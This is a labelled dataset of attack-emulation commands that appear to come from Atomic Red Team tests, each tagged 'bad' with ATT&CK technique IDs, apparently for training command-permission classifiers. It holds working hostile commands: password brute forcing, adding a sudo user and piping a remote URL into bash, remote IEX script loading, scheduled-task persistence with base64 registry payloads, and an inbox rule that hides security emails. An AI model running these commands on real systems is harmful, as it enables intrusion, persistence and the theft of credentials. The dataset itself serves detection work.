cowWhySo/permission-command-corpus huggingface dataset:
Command: echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Writes text to a file and displays it.
Notes: Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.
Command: del "#{file_contents_path}" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Writes text to a file and displays it.
Notes: Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.
Command: %LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Suspicious Execution via Windows Command Shell
Notes: Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary.
Command: cmd /c "for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}" | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Simulate BlackByte Ransomware Print Bombing
Notes: This test attempts to open a file a specified number of times in Wordpad, then prints the contents. 
It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. 
See https://redcanary.com/blog/blackbyte-ransomware/.
Command: stop-process -name wordpad -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Simulate BlackByte Ransomware Print Bombing
Notes: This test attempts to open a file a specified number of times in Wordpad, then prints the contents. 
It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. 
See https://redcanary.com/blog/blackbyte-ransomware/.
Command: cmd /r cmd<"#{input_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Command Prompt read contents from CMD file and execute
Notes: Simulate Raspberry Robin using the "standard-in" command prompt feature cmd `/R <` to read and execute a file via cmd.exe
See https://redcanary.com/blog/raspberry-robin/.
Command: c:\windows\system32\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject("WScript.Shell"):Set objExec = objShell.Exec("whoami"):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Command prompt writing script to file then executes it
Notes:     Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.
    The script will execute 'whoami' then exit.
Command: del "#{script_name}.vbs" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Command prompt writing script to file then executes it
Notes:     Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.
    The script will execute 'whoami' then exit.
Command: control.exe "#{cpl_file_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.002
Platform: windows
ATT&CK tags: T1218.002
Source rule: Control Panel Items
Notes: This test simulates an adversary leveraging control.exe
Upon execution calc.exe will be launched
Command: copy %temp%\ExplorerSync.db %temp%\..\Microsoft\ExplorerSync.db schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1195
Platform: windows
ATT&CK tags: T1195
Source rule: Octopus Scanner Malware Open Source Supply Chain
Notes: This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db
[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)
[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)
Command: schtasks /delete /tn ExplorerSync /F 2>null del %temp%\..\Microsoft\ExplorerSync.db 2>null del %temp%\ExplorerSync.db 2>null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1195
Platform: windows
ATT&CK tags: T1195
Source rule: Octopus Scanner Malware Open Source Supply Chain
Notes: This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db
[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)
[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)
Command: echo Password1> passwords.txt echo 1q2w3e4r>> passwords.txt echo Password!>> passwords.txt echo Spring2022>> passwords.txt echo ChangeMe!>> passwords.txt @FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: windows
ATT&CK tags: T1110.001
Source rule: Brute Force Credentials of single Active Directory domain users via SMB
Notes: Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller
Command: cd "PathToAtomicsFolder\..\ExternalPayloads" .\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: windows
ATT&CK tags: T1110.001
Source rule: Password Brute User using Kerbrute Tool
Notes: Bruteforce a single user's password from a wordlist
Command: useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art su -c "cd /tmp; curl -s #{remote_url} | bash" art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: linux
ATT&CK tags: T1110.001
Source rule: SUDO Brute Force - Debian
Notes: An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, do
Command: userdel -fr art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: linux
ATT&CK tags: T1110.001
Source rule: SUDO Brute Force - Debian
Notes: An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, do
Command: useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art su art cd /tmp curl -s #{remote_url} |bash
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: linux
ATT&CK tags: T1110.001
Source rule: SUDO Brute Force - Redhat
Notes: An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, do
Command: pw adduser art -g wheel -s /bin/sh echo "password123" | pw usermod art -h 0 su art cd /tmp curl -s #{remote_url} |bash
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: linux
ATT&CK tags: T1110.001
Source rule: SUDO Brute Force - FreeBSD
Notes: An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, do
Command: rmuser -y art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: linux
ATT&CK tags: T1110.001
Source rule: SUDO Brute Force - FreeBSD
Notes: An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, do
Command: $lockout_threshold = [int]"#{lockout_threshold}" for ($var = 1; $var -le $lockout_threshold; $var++) { #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002 }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.001
Platform: windows
ATT&CK tags: T1110.001
Source rule: ESXi - Brute Force Until Account Lockout
Notes: An adversary may attempt to brute force the password of privilleged account for privilege escalation.
In the process, the TA may lock the account, which can be used for detection. [Reference](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/#:~:text=A%20ransomware%20group%20attacking%20large,internal%20systems%20after%20establishing%20a)
Command: Import-Module ExchangeOnlineManagement $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password Connect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue New-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords ("phish","malware","hacked") -Confirm:$false -DeleteMessage:$true
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.008
Platform: office-365
ATT&CK tags: T1564.008
Source rule: New-Inbox Rule to Hide E-mail in M365
Notes: This test simulates a user adding an inbox rule in M365 to delete emails with specific keywords in email subject or body.
 Reference: https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf
Command: Import-Module ExchangeOnlineManagement $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password Connect-ExchangeOnline -Credential $credential Remove-InboxRule -Mailbox #{target_mailbox} -Identity #{mail_rulename} -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.008
Platform: office-365
ATT&CK tags: T1564.008
Source rule: New-Inbox Rule to Hide E-mail in M365
Notes: This test simulates a user adding an inbox rule in M365 to delete emails with specific keywords in email subject or body.
 Reference: https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf
Command: schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Startup Script
Notes: Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command: schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Startup Script
Notes: Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command: SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled task Local
Notes: Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command: SCHTASKS /Delete /TN spawn /F >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled task Local
Notes: Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command: SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled task Remote
Notes: Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command: SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled task Remote
Notes: Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command: $Action = New-ScheduledTaskAction -Execute "calc.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTask -InputObject $object
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Powershell Cmdlet Scheduled Task
Notes: Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command: Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Powershell Cmdlet Scheduled Task
Notes: Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Task Scheduler via VBA
Notes: This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
30 - 40 seconds after this module has run
Command: Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Task Scheduler via VBA
Notes: This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
30 - 40 seconds after this module has run
Command: $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: WMI Invoke-CimMethod Scheduled Task
Notes: Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command: Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: WMI Invoke-CimMethod Scheduled Task
Notes: Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command: reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Executing Base64 Encoded Commands From Registry
Notes: A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot.  

[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)
Command: schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1 reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Executing Base64 Encoded Commands From Registry
Notes: A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot.  

[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)
Command: Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Import XML Schedule Task with Hidden Attribute
Notes: Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. 
This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command: $Action = New-ScheduledTaskAction -Execute "cmd.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTaskModifed -InputObject $object $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe" Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: PowerShell Modify A Scheduled Task
Notes: Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. 
It will first be created to spawn cmd.exe, but modified to run notepad.exe.

Upon successful execution, powershell.exe will create a scheduled task and modify the action.
Command: Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: PowerShell Modify A Scheduled Task
Notes: Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. 
It will first be created to spawn cmd.exe, but modified to run notepad.exe.

Upon successful execution, powershell.exe will create a scheduled task and modify the action.
Command: "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task ("Ghost Task") via Registry Key Manipulation
Notes: Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
This requires a download of the GhostTask binary, which
Command: "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task ("Ghost Task") via Registry Key Manipulation
Notes: Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
This requires a download of the GhostTask binary, which